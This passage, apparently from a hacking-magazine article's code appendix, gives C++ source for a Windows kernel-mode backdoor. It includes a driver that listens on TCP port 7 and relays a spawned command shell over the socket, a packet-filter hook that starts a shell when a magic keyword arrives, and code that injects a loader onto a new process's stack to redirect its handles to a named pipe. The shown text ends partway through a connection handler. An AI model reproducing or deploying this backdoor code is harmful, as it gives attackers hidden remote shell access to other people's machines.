    if (!NT::RtlValidSecurityDescriptor(sd)) {
        _asm int 3;
    }
        
        //To try!
        ULONG buflen = PAGE_SIZE*2;
        *pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen);
    if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES;
        return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen);
}

#define PIPE_NAME_MAX 40*2

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess)
{
        NT::IO_STATUS_BLOCK                iosb;
        
        NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd};
        NT::LARGE_INTEGER nTimeOut;
        nTimeOut.QuadPart = (__int64)-1E7;
        return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess,
                FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut);        
}

int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName)
{
    HANDLE hProcess, hThread, hSection, hFile;
        
        //_asm int 3;

    NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE};
    NT::IO_STATUS_BLOCK iosb;
    NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb,
                   FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

    oa.ObjectName = 0;
        
    NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,
                        PAGE_EXECUTE, SEC_IMAGE, hFile);

    NT::ZwClose(hFile);

        ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa,
                        NtCurrentProcess(), TRUE, hSection, 0, 0);
        
    NT::SECTION_IMAGE_INFORMATION sii;
    NT::ZwQuerySection(hSection, NT::SectionImageInformation,
                       &sii, sizeof sii, 0);

    NT::ZwClose(hSection);

    NT::USER_STACK stack = {0};

    ULONG n = sii.StackReserve;
    NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
                                MEM_RESERVE, PAGE_READWRITE);

    stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
                              + sii.StackReserve;
    stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
                               - sii.StackCommit;

        /* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/
        n = sii.StackCommit + PAGE_SIZE;
    PVOID p = PCHAR(stack.ExpandableStackBase) - n;
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    ULONG x; n = PAGE_SIZE;
    ZwProtectVirtualMemory(hProcess, &p, &n,
                               PAGE_READWRITE | PAGE_GUARD, &x);

    NT::CONTEXT context = {CONTEXT_FULL};
    context.SegGs = 0;
    context.SegFs = 0x38;
    context.SegEs = 0x20;
    context.SegDs = 0x20;
    context.SegSs = 0x20;
    context.SegCs = 0x18;
    context.EFlags = 0x3000;
    context.Esp = ULONG(stack.ExpandableStackBase) - 4;
    context.Eip = ULONG(sii.EntryPoint);

    NT::CLIENT_ID cid;

    ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa,
                       hProcess, &cid, &context, &stack, TRUE);

    NT::PROCESS_BASIC_INFORMATION pbi;
    NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
                                  &pbi, sizeof pbi, 0);
        
        HANDLE hPipe,hPipe1;
        oa.ObjectName = PipeName;
        oa.Attributes = OBJ_INHERIT;
        if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)) return 0;
        NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe,
                0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
        
        CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);

    InformCsrss(hProcess, hThread,
                ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));
        
    ZwResumeThread(hThread, 0);

    NT::ZwClose(hProcess);
    NT::ZwClose(hThread);

    return int(cid.UniqueProcess);
}

int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName)
{
    NT::UNICODE_STRING ImageFile;
    NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName);
    return exec_piped(&ImageFile, PipeName);
}


----[ 8.5 - NebbetCreateProcess.diff

268a269,384
> typedef
> WINBASEAPI
> BOOL
> (WINAPI
> *f_SetStdHandle)(
>     IN DWORD nStdHandle,
>     IN HANDLE hHandle
>     );
> typedef
> WINBASEAPI
> HANDLE
> (WINAPI
> *f_CreateFileW)(
>     IN LPCWSTR lpFileName,
>     IN DWORD dwDesiredAccess,
>     IN DWORD dwShareMode,
>     IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
>     IN DWORD dwCreationDisposition,
>     IN DWORD dwFlagsAndAttributes,
>     IN HANDLE hTemplateFile
>     );
> #ifdef _DEBUG
> typedef
> WINBASEAPI
> DWORD
> (WINAPI
> *f_GetLastError)(
>     VOID
>     );
> #endif
> typedef VOID (*f_EntryPoint)(VOID);
>
> struct s_data2embed
> {
>         wchar_t PipeName[PIPE_NAME_MAX];
>         //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];
>         f_SetStdHandle pSetStdHandle;
>         f_CreateFileW pCreateFileW;
>         f_EntryPoint EntryPoint;
> #ifdef _DEBUG
>         f_GetLastError pGetLastError;
> #endif
> };
>
> //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data)
> {
>         HANDLE hPipe;
>
>         __asm int 3;
>         hPipe = embedded_data->pCreateFileW(embedded_data->PipeName,
>                 GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
>                 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
>                 NULL,
>                 OPEN_EXISTING,
>                 0/*FILE_ATTRIBUTE_NORMAL*/,
>                 NULL);
>         embedded_data->pGetLastError();
>         /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;
>         hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName,
>                 GENERIC_WRITE | SYNCHRONIZE,
>                 FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
>                 NULL,
>                 OPEN_EXISTING,
>                 0,
>                 NULL);
>         embedded_data->pGetLastError();
>         if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */
>         if (hPipe!=INVALID_HANDLE_VALUE)
>         {
>                 embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe);
>                 embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe);
>                 embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe);
>         }
>         embedded_data->EntryPoint();
> }
> __declspec(naked) void after_code2embed(){};
> #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed)
>
> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack)
> {
>         s_data2embed data2embed;
>         PVOID pKERNEL32;
>         NT::UNICODE_STRING ModuleFileName;
>         
>         _asm int 3;
>
>         *pCode = 0;
>         *pNewStack = 0;
>         NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll");
>         LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32);
>         if (!pKERNEL32) return;
>         data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle");
>         data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFileW");
> #ifdef _DEBUG
>         data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError");
> #endif
>         if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return;
>         data2embed.EntryPoint=(f_EntryPoint)EntryPoint;
>         wcscpy(data2embed.PipeName, PipeName);
>         //wcscpy(data2embed.WPipeName, WPipeName);
>         char* p = (char*)pStack - sizeof_code2embed;
>         if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return;
>         *pCode = (ULONG)p;
>         
>         p -= sizeof s_data2embed;
>         if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return;
>         
>         PVOID pData = (PVOID)p;
>         p -= sizeof pData;
>         if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return;
>         
>         p -= 4;
>         *pNewStack = (ULONG)p;
> }
>
317a434,437
>         ULONG newEIP, NewStack;
>         redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack);
>         if ((!NewStack)||(!newEIP)) return 0;
>
326,327c446,449
<     context.Esp = ULONG(stack.ExpandableStackBase) - 4;
<     context.Eip = ULONG(sii.EntryPoint);
---
>         //loader code is on the stack
>         context.Esp = NewStack;
>     context.Eip = newEIP;


----[ 8.6 - NtdllDynamicLoader.cpp

#include <ntdll.h>
//#include "UndocKernel.h"
#include "DynLoadFromNtdll.h"

//Example A.2 from Nebbet's book

//Search loaded module by name
PVOID FindModule(char *module)
{
        ULONG n;
        //Request necessary size of buffer
        NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
                                 &n, 0, &n);
        //Allocate memory for n structures
    PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
        //Request information about modules
    NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
                                 q, n * sizeof *q, 0);

        //Module counter located at address q, information begins at q+1
    NT::PSYSTEM_MODULE_INFORMATION p
        = NT::PSYSTEM_MODULE_INFORMATION(q + 1);
    PVOID ntdll = 0;

        //Cycle for each module ...
        for (ULONG i = 0; i < *q; i++)
        {
                //...compare it's name with looked for...
                if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset,
                     module) == 0)
                {
                        //...and stop if module found
                        ntdll = p[i].Base;
                        break;
                }
        }
        //Free memory
    NT::ExFreePool(q);
    return ntdll;
}

PVOID FindNT()
{
    return FindModule("ntdll.dll");
}

//Search exported function named Name in module, loaded at addrress Base
PVOID FindFunc(PVOID Base, PCSTR Name)
{
        //At addrress Base there is DOS EXE header
        PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base);
        //Extract offset of PE-header from it
    PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew);
        //Evaluate pointer to section table,
        //according to directory of exported functions
    PIMAGE_DATA_DIRECTORY expdir
        = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
        //Extract address and size of that table
    ULONG size = expdir->Size;
    ULONG addr = expdir->VirtualAddress;

        //Evaluate pointers:
        // - to directory of exported functions
    PIMAGE_EXPORT_DIRECTORY exports
        = PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);
        // - to table of addresses
    PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
        // - to table of ordinals
    PSHORT ordinals  = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals);
        // - to table of names
    PULONG names     = PULONG(PCHAR(Base) + exports->AddressOfNames);

    //Cycle through table of names ...
        for (ULONG i = 0; i < exports->NumberOfNames; i++) {
                //Ordinal that matches name is index in the table of addresses
        ULONG ord = ordinals[i];
                //Test is the address correct
        if (functions[ord] < addr  ||  functions[ord] >= addr + size) {
                        //If function name matches looked for...
            if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)
                                //then return it's address
                return PCHAR(Base) + functions[ord];
        }
    }
        //Function not found
    return 0;
}


----[ 8.7 - Filtering.cpp

extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "filtering.h"
#include "Sniffer.h"

NTSYSAPI
NTSTATUS
NTAPI
ZwLoadDriver(
    IN PUNICODE_STRING DriverServiceName
    );
}


extern PF_FORWARD_ACTION PacketFilter(
  IN IPHeader *PacketHeader,
  IN unsigned char *Packet,
  IN unsigned int PacketLength,
  IN unsigned int RecvInterfaceIndex,
  IN unsigned int SendInterfaceIndex,
  IN IPAddr RecvLinkNextHop,
  IN IPAddr SendLinkNextHop
  );

NTSTATUS globalresult;
PDEVICE_OBJECT  pDeviceObject;
PFILE_OBJECT  pFileObject;
KEVENT Event;
        
NTSTATUS SutdownFiltering()
{
        if ((pDeviceObject)&&(pFileObject))
        {
                globalresult=SetupFiltering(NULL);
                ObDereferenceObject(pFileObject);
                return globalresult;
        }
        else return STATUS_SUCCESS;
}


NTSTATUS InitFiltering()
{
        UNICODE_STRING FiltDrvName;
        UNICODE_STRING DSN={0};
        //_asm int 3;
        RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER");
        pDeviceObject=NULL;
retry:
        IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|GENERIC_WRITE,&pFileObject,&pDeviceObject);
        if ((!pDeviceObject)&&(!DSN.Length))
        {
                RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver");
                ZwLoadDriver(&DSN);
                goto retry;
        }
        if (pDeviceObject)
        {
                KeInitializeEvent(&Event,NotificationEvent,FALSE);
                return SetupFiltering(&PacketFilter);
        } else return STATUS_OBJECT_NAME_NOT_FOUND;
}

NTSTATUS SetupFiltering(void *PacketFilterProc)
{
        IO_STATUS_BLOCK iostb;
        LARGE_INTEGER Timeout;
        PIRP pirp = NULL;
        //_asm int 3;
        pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_INFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK_INFO),NULL,0,FALSE,&Event,&iostb);
        if (!pirp)
        {
                return STATUS_UNSUCCESSFUL;
        }
        globalresult=IoCallDriver(pDeviceObject,pirp);
        if (globalresult == STATUS_PENDING)
        {
                Timeout.QuadPart=100000000;
                if (KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout)!=STATUS_SUCCESS)
                        return STATUS_UNSUCCESSFUL;
                globalresult = pirp->IoStatus.Status;
        }        
        return globalresult;
}


----[ 8.8 - MPFD_main.cpp

extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "Sniffer.h"
#include "Filtering.h"
}

extern VOID ShellStarter(VOID* StartShellEvent);
HANDLE hShellStarterTread=NULL;
BOOLEAN Terminating=FALSE;
KEVENT StartShellEvent;

unsigned char * __cdecl memfind(
        const unsigned char * str1,
                unsigned int n1,
        const unsigned char * str2,
                unsigned int n2
        )
{
                if (n2>n1) return NULL;

        unsigned char *cp = (unsigned char *) str1;
        unsigned char *s1, *s2;
                unsigned int x;

        for (unsigned int i=0;i<=n1-n2;i++)
        {
                s1 = cp;
                s2 = (unsigned char *) str2;
                                x=n2;

                while (x && !(*s1-*s2) )
                        s1++, s2++, x--;
                                if (!x) return(cp);
                cp++;
        }
        return(NULL);
}

unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6";

PF_FORWARD_ACTION PacketFilter(
  IN IPHeader *PacketHeader,
  IN unsigned char *Packet,
  IN unsigned int PacketLength,
  IN unsigned int RecvInterfaceIndex,
  IN unsigned int SendInterfaceIndex,
  IN IPAddr RecvLinkNextHop,
  IN IPAddr SendLinkNextHop
  )
{
        if (memfind(Packet,PacketLength,keyword,sizeof(keyword)))
        {
                HANDLE ThreadHandle;
                KeSetEvent(&StartShellEvent, 0, FALSE);                
        }
        return PF_PASS;
}

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
                       IO_NO_INCREMENT
                       );
    return Irp->IoStatus.Status;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
#if (DBG)
        DbgPrint("MPFD: OnUnload called\n");
#endif
        PVOID ThreadObj;
        SutdownFiltering();
        if (hShellStarterTread)
        {
                Terminating=TRUE;
                ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, KernelMode, &ThreadObj, NULL);
                KeSetEvent(&StartShellEvent, 0, TRUE);
                KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL);        
        }
}

#pragma code_seg("INIT")

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        NTSTATUS status;

#if (DBG)
        DbgPrint("MPFD:In DriverEntry\n");
#endif
        UNREFERENCED_PARAMETER(RegistryPath);

        for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
        {
                DriverObject->MajorFunction[i] = OnStubDispatch;
           }
        DriverObject->DriverUnload  = OnUnload;
        
        status=InitFiltering();
        if (status!=STATUS_SUCCESS) return status;
        KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE);
        OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
        status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent);
        
        return status;
}


----[ 8.9 - NtBackd00r.cpp

// NtBackd00r.cpp
//
// Generated by Driver::Wizard version 2.0

#define VDW_MAIN
#include <vdw.h>
#include <stdio.h>
#include <ntifs.h>
#include "function.h"
#include "NtBackd00r.h"
#pragma hdrstop("NtBackd00r.pch")

#if (DBG)
#define dprintf DbgPrint
#else
#define dprintf
#endif

extern "C" {
        NTSYSAPI
                NTSTATUS
                NTAPI
                ZwWaitForMultipleObjects(
                IN ULONG HandleCount,
                IN PHANDLE Handles,
                IN WAIT_TYPE WaitType,
                IN BOOLEAN Alertable,
                IN PLARGE_INTEGER Timeout OPTIONAL
                );
        
        NTSYSAPI
                NTSTATUS
                NTAPI
                ZwCreateEvent(
                OUT PHANDLE EventHandle,
                IN ACCESS_MASK DesiredAccess,
                IN POBJECT_ATTRIBUTES ObjectAttributes,
                IN EVENT_TYPE EventType,
                IN BOOLEAN InitialState
                );
        
        NTSYSAPI
                NTSTATUS
                NTAPI
                ZwSetEvent(
                IN HANDLE EventHandle,
                OUT PULONG PreviousState OPTIONAL
                );
}

extern "C" void LoadFuncs();
extern "C" HANDLE StartShell(PHANDLE phPipe);
extern VOID ShellStarter(VOID* StartShellEvent);

/////////////////////////////////////////////////////////////////////
// Begin INIT section
#pragma code_seg("INIT")

DECLARE_DRIVER_CLASS(NtBackd00r, NULL)

/////////////////////////////////////////////////////////////////////
// Driver Entry
//
NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath)
{
        UNREFERENCED_PARAMETER(RegistryPath);
        
        //Dynamic import of functions exported from ntdll.dll
        LoadFuncs();
        
        // Initialize the TDIClient framework first
        if (!KTDInterface::Initialize())
        {
                // something wrong with TDI
                return STATUS_NOT_FOUND;
        }
        
        // Create TCP server, port 7
        CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO);
        m_pListener = new(NonPagedPool) KStreamServer<Session> (TCP_port);
        
        // If succeeded - enable network events
        
    if (m_pListener && m_pListener->IsCreated()) {
        m_pListener->SetEvents(TRUE);
        dprintf("NtBackd00rDevice: Listener started\n");
    }
    else {
        dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n");
        return STATUS_INSUFFICIENT_RESOURCES;
    }
        
        //Create dummy device for IoQueueWorkItem
        m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL);
        
        if (m_pDummyDevice  == NULL)
        {
                return STATUS_INSUFFICIENT_RESOURCES;
        }
        
        return STATUS_SUCCESS;
}


#pragma code_seg()
#pragma warning( disable : 4706 )

//This message will be sen to client in case of failure when starting shell
char errtxt_shell[]="cant start shell";

//////////////////////////////////////////////////////////////////////////////
//        Unload is responsible for releasing any system objects that
//        the driver has allocated.
//
VOID NtBackd00r::Unload(VOID)
{
        
    if (m_pListener)
        {
                // Disable network event notifications
                m_pListener->SetEvents(FALSE);
                
                // Iterate through the list of active sessions
                // and forcefully disconnect all active sessions
                Session* p;
                TDI_STATUS Status;
                
                while ( p = m_ActiveSessionList.RemoveHead() )
                {
                        // Thread handle must be extracted before dele p
                        HANDLE hWorkerThread = p->hDataPumpThread;
                        // By default, this method will perform an
                        // abortive disconnect (RST)
                        Status = p->disconnect();
                        ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status);
                        delete p;
                        // It's required to wait for termination of worker threads,
                        // or else unloading driver will cause BSOD
                        if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NULL);
                }
                
                // Wait for all outstanding requests to complete
                // By issuing a disconnect for all sessions, any
                // pending requests should be completed by the transport
                m_pListener->Wait();
                
                // destroy the socket
                delete m_pListener;
                m_pListener = NULL;
                
                dprintf("NtBackd00rDevice: Listener stopped\n");
        }
        
        delete m_pDummyDevice;
        
        // Call base class destructor to delete all devices.
        KDriver::Unload();
}

// Frees buffers, given to ZwWriteFile for asynchronous write
VOID NTAPI ApcCallbackWriteComplete(
                                                                        IN PVOID ApcContext,
                                                                        IN PIO_STATUS_BLOCK IoStatusBlock,
                                                                        IN ULONG Reserved
                                                                        )
{
        UNREFERENCED_PARAMETER(IoStatusBlock);
        UNREFERENCED_PARAMETER(Reserved);
        
        //
        delete (uchar *)ApcContext;
}

#define SENDS_QUEUED_THRESHOLD 3

// Thread, that transfers data between named pipe and socket
VOID DataPumpThread(IN PVOID thiz1)
{
        IO_STATUS_BLOCK send_iosb, rcv_iosb;
        uchar *send_buf, *rcv_buf;
        ULONG rd;
        const bufsize=0x1000;
        NTSTATUS status;
        LARGE_INTEGER  ResendInterval;
        //loacl copy of Pipes needed for correct thread termination
        //after deleting Session
        s_Pipes *Pipes;  

        
        Session* thiz=(Session*)thiz1;
        Pipes=thiz->m_Pipes;
        ResendInterval.QuadPart = (__int64)1E6; //0.1c
        
        //Create FIFO
        //Source of BSOD at high IRQL
        thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000, NonPagedPool);
        //Lock socket to avoid sudden deletion of it
        thiz->Lock();
        
        //send_buf alocated here, deleted in OnSendComplete
        send_buf = new(NonPagedPool) uchar[bufsize];        
        //Start asynchronous read
        status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
        if (status==STATUS_SUCCESS)
        {
                //Send read data to client
                status=thiz->send(send_buf, send_iosb.Information, send_buf);
                if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS))
                        dprintf("send error %08x\n");
                //to avoid recurring send of same data
                send_iosb.Status = -1;
        }
        while (1) switch (ZwWaitForMultipleObjects(2, &Pipes->hPipeEvents[0], WaitAny, TRUE, NULL))
        {
                //STATUS_WAIT_1 - read operation completed
        case STATUS_WAIT_1:
                //
                if (Pipes->Terminating) goto fin;
                if (!Pipes->hPipe) break;
sending:
                {
                        if (!send_iosb.Status)
                        {
resend:
                        //Send read data to client
                        status=thiz->send(send_buf, send_iosb.Information, send_buf);
                        //If there wan an error, then it tried to push too much data in socket
                        if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING))
                        {
                                //Wait for free space in buffer...
                                KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval);
                                //...and retry
                                goto resend;
                        }
                        }
                        //send_buf alocated here, deleted in OnSendComplete
                        send_buf = new(NonPagedPool) uchar[bufsize];        
                        //Start asynchronous read
                        status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
                        //If there was a data in pipe buffer, it read instantly.
                        if (status==STATUS_SUCCESS)
                                //send it immediately
                                goto sending;
                        else {
                                if (status!=STATUS_PENDING)
                                {
                                        delete send_buf;
                                        //STATUS_PIPE_LISTENING - it's OK, process not connected to pipe yet
                                        if (status!=STATUS_PIPE_LISTENING)
                                        {
                                                //otherwise it was an error, disconnect client and terminate thread
                                                if (!Pipes->Terminating) thiz->disconnect();
                                                goto fin;
                                        }
                                }
                        }
                };
                break;
                //STATUS_WAIT_0 - write operation completed
        case STATUS_WAIT_0:
                if (Pipes->Terminating) goto fin;
                if (!Pipes->hPipe) break;
                //FIFO must be locked during all operation with it
                //to avoid conflicts
                thiz->pWBytePipe->Lock();
                //At first look what crowd into FIFO,...
                rd = thiz->pWBytePipe->NumberOfItemsAvailableForRead();
                if (rd)
                {
                        //... then allocate appropriate amount of memory ...
                        rcv_buf = new(NonPagedPool) uchar[rd];
                        //... and read all at once
                        rd = thiz->pWBytePipe->Read(rcv_buf, rd);
                }
                thiz->pWBytePipe->Unlock();
                if (rd)
                {
                        status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL);
                        if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTENING)&&(status!=STATUS_PENDING))
                        {
                                //if there was an error, disconnect client and terminate thread
                                if (!Pipes->Terminating) thiz->disconnect();
                                goto fin;
                        }
                }
                break;
        case STATUS_ALERTED:
                break;
        default: goto fin;
        }
fin:
        //If termination not initiated from outside, unlock socket
        if (!Pipes->Terminating) thiz->Unlock();
        //If pipe exists, then all the rest exists too -
        //destroy it all
        if (Pipes->hPipe)
        {
                ZwClose(Pipes->hPipe);
                for (int i=0;i<=1;i++)
                        ZwClose(Pipes->hPipeEvents[i]);
                CLIENT_ID clid = {Pipes->ChildPID, 0};
                HANDLE hProcess;
                OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0};
#define PROCESS_TERMINATE         (0x0001)  
                status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid);
                if (!status)
                {
                        ZwTerminateProcess(hProcess, 0);
                        ZwClose(hProcess);
                }
        }
        delete Pipes;
        PsTerminateSystemThread(0);
}


#define DISABLE_INTS __asm pushfd; cli
#define RESTORE_INTS __asm popfd;

VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1)
{
        OBJECT_ATTRIBUTES        attr;
        HANDLE                                loc_hPipe, loc_hPipeEvents[2], loc_ChildPID;
        
        UNREFERENCED_PARAMETER(DeviceObject);
        
#define desc ((s_WorkItemDesc*)desc1)
        //By course of business will check is there "cancel" command
        if (desc->WorkItemCanceled) goto cancel2;
        
        //Start shell
        loc_ChildPID = StartShell(&loc_hPipe);
        if (loc_ChildPID)
        {
                InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);                
                
                //Create 2 events to notify thread about data receipt
                //from socket or pipe
                for (int i=0;i<=1;i++)
                        ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, SynchronizationEvent, FALSE);
                
                //Disable interrupts and write all handles to structure that is class member
                DISABLE_INTS
                        if (!desc->WorkItemCanceled)
                        {
                                desc->thiz->m_Pipes->hPipe = loc_hPipe;
                                desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeEvents[0];
                                desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeEvents[1];
                                desc->thiz->m_Pipes->ChildPID = loc_ChildPID;
                        }
                RESTORE_INTS

                if (desc->WorkItemCanceled) goto cancel;

                //Create thread, that transfers data between named pipe and socket
                PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz);
        } else {
cancel:
        //In case of error or cancel close pipe, send error message to client,
        //and disconnect it
        ZwClose(loc_hPipe);
        char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1];
        RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1);
        desc->thiz->send(errmess, sizeof(errtxt_shell)-1);
        desc->thiz->disconnect();
        }
cancel2:
        //Cleanup
        IoFreeWorkItem(desc->WorkItem);        
        DISABLE_INTS
        desc->WorkItem = NULL;
        if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL;
        RESTORE_INTS
        ExFreePool(desc1);
#undef desc
}

/////////////////////////////////////////////////////////////////////////
// Session   -- Event handlers.
BOOLEAN  Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,
                                                        uint OptionsLength, PVOID Options)
{
        // Connecting: print the IP address of the requestor and grant the connection
#if(DBG)
        char szIPaddr[20];        
        inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr, sizeof(szIPaddr));
        
    dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr, this);
#endif
        // obtain a pointer to the KDriver derived class
        NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
        ASSERT(p);
        
        //Initialization of miscellaneous stuff
        pWBytePipe = NULL;
        hDataPumpThread = NULL;        
        m_Pipes = new(NonPagedPool) s_Pipes;
        RtlZeroMemory(m_Pipes, sizeof s_Pipes);

        //Initialize and start WorkItem
        m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc);
